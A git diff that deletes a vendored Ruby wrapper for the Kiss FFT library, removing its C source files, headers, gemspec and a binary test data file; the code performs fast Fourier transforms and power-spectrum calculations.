C_SUB(scratch[0],scratch[1],scratch[2]); - tw1 += fstride; - tw2 += fstride*2; - - Fout[m].r = Fout->r - HALF_OF(scratch[3].r); - Fout[m].i = Fout->i - HALF_OF(scratch[3].i); - - C_MULBYSCALAR( scratch[0] , epi3.i ); - - C_ADDTO(*Fout,scratch[3]); - - Fout[m2].r = Fout[m].r + scratch[0].i; - Fout[m2].i = Fout[m].i - scratch[0].r; - - Fout[m].r -= scratch[0].i; - Fout[m].i += scratch[0].r; - - ++Fout; - }while(--k); -} - -static void kf_bfly5( - kiss_fft_cpx * Fout, - const size_t fstride, - const kiss_fft_cfg st, - int m - ) -{ - kiss_fft_cpx *Fout0,*Fout1,*Fout2,*Fout3,*Fout4; - int u; - kiss_fft_cpx scratch[13]; - kiss_fft_cpx * twiddles = st->twiddles; - kiss_fft_cpx *tw; - kiss_fft_cpx ya,yb; - ya = twiddles[fstride*m]; - yb = twiddles[fstride*2*m]; - - Fout0=Fout; - Fout1=Fout0+m; - Fout2=Fout0+2*m; - Fout3=Fout0+3*m; - Fout4=Fout0+4*m; - - tw=st->twiddles; - for ( u=0; u<m; ++u ) { - C_FIXDIV( *Fout0,5); C_FIXDIV( *Fout1,5); C_FIXDIV( *Fout2,5); C_FIXDIV( *Fout3,5); C_FIXDIV( *Fout4,5); - scratch[0] = *Fout0; - - C_MUL(scratch[1] ,*Fout1, tw[u*fstride]); - C_MUL(scratch[2] ,*Fout2, tw[2*u*fstride]); - C_MUL(scratch[3] ,*Fout3, tw[3*u*fstride]); - C_MUL(scratch[4] ,*Fout4, tw[4*u*fstride]); - - C_ADD( scratch[7],scratch[1],scratch[4]); - C_SUB( scratch[10],scratch[1],scratch[4]); - C_ADD( scratch[8],scratch[2],scratch[3]); - C_SUB( scratch[9],scratch[2],scratch[3]); - - Fout0->r += scratch[7].r + scratch[8].r; - Fout0->i += scratch[7].i + scratch[8].i; - - scratch[5].r = scratch[0].r + S_MUL(scratch[7].r,ya.r) + S_MUL(scratch[8].r,yb.r); - scratch[5].i = scratch[0].i + S_MUL(scratch[7].i,ya.r) + S_MUL(scratch[8].i,yb.r); - - scratch[6].r = S_MUL(scratch[10].i,ya.i) + S_MUL(scratch[9].i,yb.i); - scratch[6].i = -S_MUL(scratch[10].r,ya.i) - S_MUL(scratch[9].r,yb.i); - - C_SUB(*Fout1,scratch[5],scratch[6]); - C_ADD(*Fout4,scratch[5],scratch[6]); - - scratch[11].r = scratch[0].r + S_MUL(scratch[7].r,yb.r) + S_MUL(scratch[8].r,ya.r); - scratch[11].i = scratch[0].i + S_MUL(scratch[7].i,yb.r) + S_MUL(scratch[8].i,ya.r); - scratch[12].r = - S_MUL(scratch[10].i,yb.i) + S_MUL(scratch[9].i,ya.i); - scratch[12].i = S_MUL(scratch[10].r,yb.i) - S_MUL(scratch[9].r,ya.i); - - C_ADD(*Fout2,scratch[11],scratch[12]); - C_SUB(*Fout3,scratch[11],scratch[12]); - - ++Fout0;++Fout1;++Fout2;++Fout3;++Fout4; - } -} - -/* perform the butterfly for one stage of a mixed radix FFT */ -static void kf_bfly_generic( - kiss_fft_cpx * Fout, - const size_t fstride, - const kiss_fft_cfg st, - int m, - int p - ) -{ - int u,k,q1,q; - kiss_fft_cpx * twiddles = st->twiddles; - kiss_fft_cpx t; - int Norig = st->nfft; - - kiss_fft_cpx * scratch = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC(sizeof(kiss_fft_cpx)*p); - - for ( u=0; u<m; ++u ) { - k=u; - for ( q1=0 ; q1<p ; ++q1 ) { - scratch[q1] = Fout[ k ]; - C_FIXDIV(scratch[q1],p); - k += m; - } - - k=u; - for ( q1=0 ; q1<p ; ++q1 ) { - int twidx=0; - Fout[ k ] = scratch[0]; - for (q=1;q<p;++q ) { - twidx += fstride * k; - if (twidx>=Norig) twidx-=Norig; - C_MUL(t,scratch[q] , twiddles[twidx] ); - C_ADDTO( Fout[ k ] ,t); - } - k += m; - } - } - KISS_FFT_TMP_FREE(scratch); -} - -static -void kf_work( - kiss_fft_cpx * Fout, - const kiss_fft_cpx * f, - const size_t fstride, - int in_stride, - int * factors, - const kiss_fft_cfg st - ) -{ - kiss_fft_cpx * Fout_beg=Fout; - const int p=*factors++; /* the radix */ - const int m=*factors++; /* stage's fft length/p */ - const kiss_fft_cpx * Fout_end = Fout + p*m; - -#ifdef _OPENMP - // use openmp extensions at the - // top-level (not recursive) - if (fstride==1 && p<=5) - { - int k; - - // execute the p different work units in different threads -# pragma omp parallel for - for (k=0;k<p;++k) - kf_work( Fout +k*m, f+ fstride*in_stride*k,fstride*p,in_stride,factors,st); - // all threads have joined by this point - - switch (p) { - case 2: kf_bfly2(Fout,fstride,st,m); break; - case 3: kf_bfly3(Fout,fstride,st,m); break; - case 4: kf_bfly4(Fout,fstride,st,m); break; - case 5: kf_bfly5(Fout,fstride,st,m); break; - default: kf_bfly_generic(Fout,fstride,st,m,p); break; - } - return; - } -#endif - - if (m==1) { - do{ - *Fout = *f; - f += fstride*in_stride; - }while(++Fout != Fout_end ); - }else{ - do{ - // recursive call: - // DFT of size m*p performed by doing - // p instances of smaller DFTs of size m, - // each one takes a decimated version of the input - kf_work( Fout , f, fstride*p, in_stride, factors,st); - f += fstride*in_stride; - }while( (Fout += m) != Fout_end ); - } - - Fout=Fout_beg; - - // recombine the p smaller DFTs - switch (p) { - case 2: kf_bfly2(Fout,fstride,st,m); break; - case 3: kf_bfly3(Fout,fstride,st,m); break; - case 4: kf_bfly4(Fout,fstride,st,m); break; - case 5: kf_bfly5(Fout,fstride,st,m); break; - default: kf_bfly_generic(Fout,fstride,st,m,p); break; - } -} - -/* facbuf is populated by p1,m1,p2,m2, ... - where - p[i] * m[i] = m[i-1] - m0 = n */ -static -void kf_factor(int n,int * facbuf) -{ - int p=4; - double floor_sqrt; - floor_sqrt = floor( sqrt((double)n) ); - - /*factor out powers of 4, powers of 2, then any remaining primes */ - do { - while (n % p) { - switch (p) { - case 4: p = 2; break; - case 2: p = 3; break; - default: p += 2; break; - } - if (p > floor_sqrt) - p = n; /* no more factors, skip to end */ - } - n /= p; - *facbuf++ = p; - *facbuf++ = n; - } while (n > 1); -} - -/* - * - * User-callable function to allocate all necessary storage space for the fft. - * - * The return value is a contiguous block of memory, allocated with malloc. As such, - * It can be freed with free(), rather than a kiss_fft-specific function. - * */ -kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem ) -{ - kiss_fft_cfg st=NULL; - size_t memneeded = sizeof(struct kiss_fft_state) - + sizeof(kiss_fft_cpx)*(nfft-1); /* twiddle factors*/ - - if ( lenmem==NULL ) { - st = ( kiss_fft_cfg)KISS_FFT_MALLOC( memneeded ); - }else{ - if (mem != NULL && *lenmem >= memneeded) - st = (kiss_fft_cfg)mem; - *lenmem = memneeded; - } - if (st) { - int i; - st->nfft=nfft; - st->inverse = inverse_fft; - - for (i=0;i<nfft;++i) { - const double pi=3.141592653589793238462643383279502884197169399375105820974944; - double phase = -2*pi*i / nfft; - if (st->inverse) - phase *= -1; - kf_cexp(st->twiddles+i, phase ); - } - - kf_factor(nfft,st->factors); - } - return st; -} - - -void kiss_fft_stride(kiss_fft_cfg st,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int in_stride) -{ - if (fin == fout) { - //NOTE: this is not really an in-place FFT algorithm. - //It just performs an out-of-place FFT into a temp buffer - kiss_fft_cpx * tmpbuf = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC( sizeof(kiss_fft_cpx)*st->nfft); - kf_work(tmpbuf,fin,1,in_stride, st->factors,st); - memcpy(fout,tmpbuf,sizeof(kiss_fft_cpx)*st->nfft); - KISS_FFT_TMP_FREE(tmpbuf); - }else{ - kf_work( fout, fin, 1,in_stride, st->factors,st ); - } -} - -void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout) -{ - kiss_fft_stride(cfg,fin,fout,1); -} - - -void kiss_fft_cleanup(void) -{ - // nothing needed any more -} - -int kiss_fft_next_fast_size(int n) -{ - while(1) { - int m=n; - while ( (m%2) == 0 ) m/=2; - while ( (m%3) == 0 ) m/=3; - while ( (m%5) == 0 ) m/=5; - if (m<=1) - break; /* n is completely factorable by twos, threes, and fives */ - n++; - } - return n; -} diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fft.h b/external/ruby-kissfft/ext/kissfft/kiss_fft.h deleted file mode 100644 index 64c50f4aae..0000000000 --- a/external/ruby-kissfft/ext/kissfft/kiss_fft.h +++ /dev/null @@ -1,124 +0,0 @@ -#ifndef KISS_FFT_H -#define KISS_FFT_H - -#include <stdlib.h> -#include <stdio.h> -#include <math.h> -#include <string.h> - -#ifdef __cplusplus -extern "C" { -#endif - -/* - ATTENTION! - If you would like a : - -- a utility that will handle the caching of fft objects - -- real-only (no imaginary time component ) FFT - -- a multi-dimensional FFT - -- a command-line utility to perform ffts - -- a command-line utility to perform fast-convolution filtering - - Then see kfc.h kiss_fftr.h kiss_fftnd.h fftutil.c kiss_fastfir.c - in the tools/ directory. -*/ - -#ifdef USE_SIMD -# include <xmmintrin.h> -# define kiss_fft_scalar __m128 -#define KISS_FFT_MALLOC(nbytes) _mm_malloc(nbytes,16) -#define KISS_FFT_FREE _mm_free -#else -#define KISS_FFT_MALLOC malloc -#define KISS_FFT_FREE free -#endif - - -#ifdef FIXED_POINT -#include <sys/types.h> -# if (FIXED_POINT == 32) -# define kiss_fft_scalar int32_t -# else -# define kiss_fft_scalar int16_t -# endif -#else -# ifndef kiss_fft_scalar -/* default is float */ -# define kiss_fft_scalar float -# endif -#endif - -typedef struct { - kiss_fft_scalar r; - kiss_fft_scalar i; -}kiss_fft_cpx; - -typedef struct kiss_fft_state* kiss_fft_cfg; - -/* - * kiss_fft_alloc - * - * Initialize a FFT (or IFFT) algorithm's cfg/state buffer. - * - * typical usage: kiss_fft_cfg mycfg=kiss_fft_alloc(1024,0,NULL,NULL); - * - * The return value from fft_alloc is a cfg buffer used internally - * by the fft routine or NULL. - * - * If lenmem is NULL, then kiss_fft_alloc will allocate a cfg buffer using malloc. - * The returned value should be free()d when done to avoid memory leaks. - * - * The state can be placed in a user supplied buffer 'mem': - * If lenmem is not NULL and mem is not NULL and *lenmem is large enough, - * then the function places the cfg in mem and the size used in *lenmem - * and returns mem. - * - * If lenmem is not NULL and ( mem is NULL or *lenmem is not large enough), - * then the function returns NULL and places the minimum cfg - * buffer size in *lenmem. - * */ - -kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem); - -/* - * kiss_fft(cfg,in_out_buf) - * - * Perform an FFT on a complex input buffer. - * for a forward FFT, - * fin should be f[0] , f[1] , ... ,f[nfft-1] - * fout will be F[0] , F[1] , ... ,F[nfft-1] - * Note that each element is complex and can be accessed like - f[k].r and f[k].i - * */ -void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout); - -/* - A more generic version of the above function. It reads its input from every Nth sample. - * */ -void kiss_fft_stride(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int fin_stride); - -/* If kiss_fft_alloc allocated a buffer, it is one contiguous - buffer and can be simply free()d when no longer needed*/ -#define kiss_fft_free free - -/* - Cleans up some memory that gets managed internally. Not necessary to call, but it might clean up - your compiler output to call this before you exit. -*/ -void kiss_fft_cleanup(void); - - -/* - * Returns the smallest integer k, such that k>=n and k has only "fast" factors (2,3,5) - */ -int kiss_fft_next_fast_size(int n); - -/* for real ffts, we need an even size */ -#define kiss_fftr_next_fast_size_real(n) \ - (kiss_fft_next_fast_size( ((n)+1)>>1)<<1) - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fftr.c b/external/ruby-kissfft/ext/kissfft/kiss_fftr.c deleted file mode 100644 index b8e238b1e2..0000000000 --- a/external/ruby-kissfft/ext/kissfft/kiss_fftr.c +++ /dev/null @@ -1,159 +0,0 @@ -/* -Copyright (c) 2003-2004, Mark Borgerding - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ - -#include "kiss_fftr.h" -#include "_kiss_fft_guts.h" - -struct kiss_fftr_state{ - kiss_fft_cfg substate; - kiss_fft_cpx * tmpbuf; - kiss_fft_cpx * super_twiddles; -#ifdef USE_SIMD - void * pad; -#endif -}; - -kiss_fftr_cfg kiss_fftr_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem) -{ - int i; - kiss_fftr_cfg st = NULL; - size_t subsize, memneeded; - - if (nfft & 1) { - fprintf(stderr,"Real FFT optimization must be even.\n"); - return NULL; - } - nfft >>= 1; - - kiss_fft_alloc (nfft, inverse_fft, NULL, &subsize); - memneeded = sizeof(struct kiss_fftr_state) + subsize + sizeof(kiss_fft_cpx) * ( nfft * 3 / 2); - - if (lenmem == NULL) { - st = (kiss_fftr_cfg) KISS_FFT_MALLOC (memneeded); - } else { - if (*lenmem >= memneeded) - st = (kiss_fftr_cfg) mem; - *lenmem = memneeded; - } - if (!st) - return NULL; - - st->substate = (kiss_fft_cfg) (st + 1); /*just beyond kiss_fftr_state struct */ - st->tmpbuf = (kiss_fft_cpx *) (((char *) st->substate) + subsize); - st->super_twiddles = st->tmpbuf + nfft; - kiss_fft_alloc(nfft, inverse_fft, st->substate, &subsize); - - for (i = 0; i < nfft/2; ++i) { - double phase = - -3.14159265358979323846264338327 * ((double) (i+1) / nfft + .5); - if (inverse_fft) - phase *= -1; - kf_cexp (st->super_twiddles+i,phase); - } - return st; -} - -void kiss_fftr(kiss_fftr_cfg st,const kiss_fft_scalar *timedata,kiss_fft_cpx *freqdata) -{ - /* input buffer timedata is stored row-wise */ - int k,ncfft; - kiss_fft_cpx fpnk,fpk,f1k,f2k,tw,tdc; - - if ( st->substate->inverse) { - fprintf(stderr,"kiss fft usage error: improper alloc\n"); - exit(1); - } - - ncfft = st->substate->nfft; - - /*perform the parallel fft of two real signals packed in real,imag*/ - kiss_fft( st->substate , (const kiss_fft_cpx*)timedata, st->tmpbuf ); - /* The real part of the DC element of the frequency spectrum in st->tmpbuf - * contains the sum of the even-numbered elements of the input time sequence - * The imag part is the sum of the odd-numbered elements - * - * The sum of tdc.r and tdc.i is the sum of the input time sequence. - * yielding DC of input time sequence - * The difference of tdc.r - tdc.i is the sum of the input (dot product) [1,-1,1,-1... - * yielding Nyquist bin of input time sequence - */ - - tdc.r = st->tmpbuf[0].r; - tdc.i = st->tmpbuf[0].i; - C_FIXDIV(tdc,2); - CHECK_OVERFLOW_OP(tdc.r ,+, tdc.i); - CHECK_OVERFLOW_OP(tdc.r ,-, tdc.i); - freqdata[0].r = tdc.r + tdc.i; - freqdata[ncfft].r = tdc.r - tdc.i; -#ifdef USE_SIMD - freqdata[ncfft].i = freqdata[0].i = _mm_set1_ps(0); -#else - freqdata[ncfft].i = freqdata[0].i = 0; -#endif - - for ( k=1;k <= ncfft/2 ; ++k ) { - fpk = st->tmpbuf[k]; - fpnk.r = st->tmpbuf[ncfft-k].r; - fpnk.i = - st->tmpbuf[ncfft-k].i; - C_FIXDIV(fpk,2); - C_FIXDIV(fpnk,2); - - C_ADD( f1k, fpk , fpnk ); - C_SUB( f2k, fpk , fpnk ); - C_MUL( tw , f2k , st->super_twiddles[k-1]); - - freqdata[k].r = HALF_OF(f1k.r + tw.r); - freqdata[k].i = HALF_OF(f1k.i + tw.i); - freqdata[ncfft-k].r = HALF_OF(f1k.r - tw.r); - freqdata[ncfft-k].i = HALF_OF(tw.i - f1k.i); - } -} - -void kiss_fftri(kiss_fftr_cfg st,const kiss_fft_cpx *freqdata,kiss_fft_scalar *timedata) -{ - /* input buffer timedata is stored row-wise */ - int k, ncfft; - - if (st->substate->inverse == 0) { - fprintf (stderr, "kiss fft usage error: improper alloc\n"); - exit (1); - } - - ncfft = st->substate->nfft; - - st->tmpbuf[0].r = freqdata[0].r + freqdata[ncfft].r; - st->tmpbuf[0].i = freqdata[0].r - freqdata[ncfft].r; - C_FIXDIV(st->tmpbuf[0],2); - - for (k = 1; k <= ncfft / 2; ++k) { - kiss_fft_cpx fk, fnkc, fek, fok, tmp; - fk = freqdata[k]; - fnkc.r = freqdata[ncfft - k].r; - fnkc.i = -freqdata[ncfft - k].i; - C_FIXDIV( fk , 2 ); - C_FIXDIV( fnkc , 2 ); - - C_ADD (fek, fk, fnkc); - C_SUB (tmp, fk, fnkc); - C_MUL (fok, tmp, st->super_twiddles[k-1]); - C_ADD (st->tmpbuf[k], fek, fok); - C_SUB (st->tmpbuf[ncfft - k], fek, fok); -#ifdef USE_SIMD - st->tmpbuf[ncfft - k].i *= _mm_set1_ps(-1.0); -#else - st->tmpbuf[ncfft - k].i *= -1; -#endif - } - kiss_fft (st->substate, st->tmpbuf, (kiss_fft_cpx *) timedata); -} diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fftr.h b/external/ruby-kissfft/ext/kissfft/kiss_fftr.h deleted file mode 100644 index 72e5a57714..0000000000 --- a/external/ruby-kissfft/ext/kissfft/kiss_fftr.h +++ /dev/null @@ -1,46 +0,0 @@ -#ifndef KISS_FTR_H -#define KISS_FTR_H - -#include "kiss_fft.h" -#ifdef __cplusplus -extern "C" { -#endif - - -/* - - Real optimized version can save about 45% cpu time vs. complex fft of a real seq. - - - - */ - -typedef struct kiss_fftr_state *kiss_fftr_cfg; - - -kiss_fftr_cfg kiss_fftr_alloc(int nfft,int inverse_fft,void * mem, size_t * lenmem); -/* - nfft must be even - - If you don't care to allocate space, use mem = lenmem = NULL -*/ - - -void kiss_fftr(kiss_fftr_cfg cfg,const kiss_fft_scalar *timedata,kiss_fft_cpx *freqdata); -/* - input timedata has nfft scalar points - output freqdata has nfft/2+1 complex points -*/ - -void kiss_fftri(kiss_fftr_cfg cfg,const kiss_fft_cpx *freqdata,kiss_fft_scalar *timedata); -/* - input freqdata has nfft/2+1 complex points - output timedata has nfft scalar points -*/ - -#define kiss_fftr_free free - -#ifdef __cplusplus -} -#endif -#endif diff --git a/external/ruby-kissfft/ext/kissfft/main.c b/external/ruby-kissfft/ext/kissfft/main.c deleted file mode 100644 index 13c0a94f1b..0000000000 --- a/external/ruby-kissfft/ext/kissfft/main.c +++ /dev/null @@ -1,155 +0,0 @@ -/* - ruby-kissfft: a simple ruby module embedding the Kiss FFT library - Copyright (C) 2009-2010 Rapid7, Inc - H D Moore <hdm[at]metasploit.com> - - Derived from "psdpng.c" from the KissFFT tools directory - Copyright (C) 2003-2006 Mark Borgerding -*/ - -#include "ruby.h" - - -#include <stdlib.h> -#include <math.h> -#include <stdio.h> -#include <string.h> -#include <unistd.h> - -#include "kiss_fft.h" -#include "kiss_fftr.h" - -static VALUE rb_cKissFFT; - -#define KISS_VERSION "1.2.8-1.0" - - -static VALUE -rbkiss_s_version(VALUE class) -{ - return rb_str_new2(KISS_VERSION); -} - -#define CHECKNULL(p) if ( (p)==NULL ) do { fprintf(stderr,"CHECKNULL failed @ %s(%d): %s\n",__FILE__,__LINE__,#p );exit(1);} while(0) - -static VALUE -rbkiss_s_fftr(VALUE class, VALUE r_nfft, VALUE r_rate, VALUE r_buckets, VALUE r_data) -{ - kiss_fftr_cfg cfg=NULL; - kiss_fft_scalar *tbuf; - kiss_fft_cpx *fbuf; - float *mag2buf; - int i; - int avgctr=0; - int nrows=0; - - int nfft; - int rate; - int navg; - int nfreqs; - - int inp_len; - int inp_idx; - - // Result set - VALUE res; - VALUE tmp; - VALUE set; - res = rb_ary_new(); - - if(TYPE(r_nfft) != T_FIXNUM) { - return Qnil; - } - nfft=NUM2INT(r_nfft); - - if(TYPE(r_rate) != T_FIXNUM) { - return Qnil; - } - rate=NUM2INT(r_rate); - - if(TYPE(r_buckets) != T_FIXNUM) { - return Qnil; - } - navg=NUM2INT(r_buckets); - - if(TYPE(r_data) != T_ARRAY) { - return Qnil; - } - - if(RARRAY_LEN(r_data) == 0) { - return Qnil; - } - - if(TYPE(RARRAY_PTR(r_data)[0]) != T_FIXNUM ) { - return Qnil; - } - - nfreqs=nfft/2+1; - - CHECKNULL( cfg=kiss_fftr_alloc(nfft,0,0,0) ); - CHECKNULL( tbuf=(kiss_fft_scalar*)malloc(sizeof(kiss_fft_scalar)*(nfft + 2) ) ); - CHECKNULL( fbuf=(kiss_fft_cpx*)malloc(sizeof(kiss_fft_cpx)*(nfft + 2)) ); - CHECKNULL( mag2buf=(float*)malloc(sizeof(float)*(nfft + 2) )); - - memset(mag2buf,0,sizeof(mag2buf)*nfreqs); - - inp_len = RARRAY_LEN(r_data); - inp_idx = 0; - - while(inp_idx < inp_len) { - - // Fill tbuf with nfft samples - for(i=0;i<nfft;i++) { - if(inp_idx + i >= inp_len) { - tbuf[i] = 0; - } else { - if(TYPE(RARRAY_PTR(r_data)[ inp_idx + i ]) != T_FIXNUM) { - tbuf[i] = 0; - } else { - tbuf[i] = NUM2INT( RARRAY_PTR(r_data)[ inp_idx + i ] ); - } - } - } - - - /* do FFT */ - kiss_fftr(cfg,tbuf,fbuf); - - for (i=0;i<nfreqs;++i) { - mag2buf[i] += fbuf[i].r * fbuf[i].r + fbuf[i].i * fbuf[i].i; - } - - if (++avgctr == navg) { - float eps = 1; - avgctr=0; - ++nrows; - - // RESULTS - set = rb_ary_new(); - for (i=0;i<nfreqs;++i) { - float pwr = 10 * log10( mag2buf[i] / navg + eps ); - tmp = rb_ary_new(); - rb_ary_push(tmp, rb_float_new( (float)i * ( ( (float)rate / 2) / (float)nfreqs) )); - rb_ary_push(tmp, rb_float_new( pwr)); - rb_ary_push(set, tmp); - } - rb_ary_push(res, set); - memset(mag2buf,0,sizeof(mag2buf[0])*nfreqs); - } - inp_idx += nfft; - } - - free(cfg); - free(tbuf); - free(fbuf); - free(mag2buf); - return(res); -} - -void -Init_kissfft() -{ - // KissFFT - rb_cKissFFT = rb_define_class("KissFFT", rb_cObject); - rb_define_module_function(rb_cKissFFT, "version", rbkiss_s_version, 0); - rb_define_module_function(rb_cKissFFT, "fftr", rbkiss_s_fftr, 4); -} diff --git a/external/ruby-kissfft/kissfft.gemspec b/external/ruby-kissfft/kissfft.gemspec deleted file mode 100644 index 6596f704c1..0000000000 --- a/external/ruby-kissfft/kissfft.gemspec +++ /dev/null @@ -1,16 +0,0 @@ -# -*- encoding: utf-8 -*- - -Gem::Specification.new do |s| - s.name = "kissfft" - s.version = "0.0.1" - s.authors = ["HD Moore"] - s.email = ["hdm@rapid7.com"] - s.homepage = "" - s.summary = %q{Ruby wrapper around the KisFFT library for performing FFTs} - s.description = %q{Provides access to the KissFFT library for performing fast-fourier transforms from Ruby } - - s.files = Dir.glob('lib/**/*.rb') + Dir.glob('ext/**/*.{c,h,rb}') + [ "LICENSE" ] - s.test_files = Dir.glob('test/**/*.{rb,data}') - s.extensions = [ 'ext/kissfft/extconf.rb' ] - s.require_paths = ["lib"] -end diff --git a/external/ruby-kissfft/tests/sample.data b/external/ruby-kissfft/tests/sample.data deleted file mode 100644 index da7c9b2b2ce4ec4f6c4a945685d5d422ef043375..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 129440 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 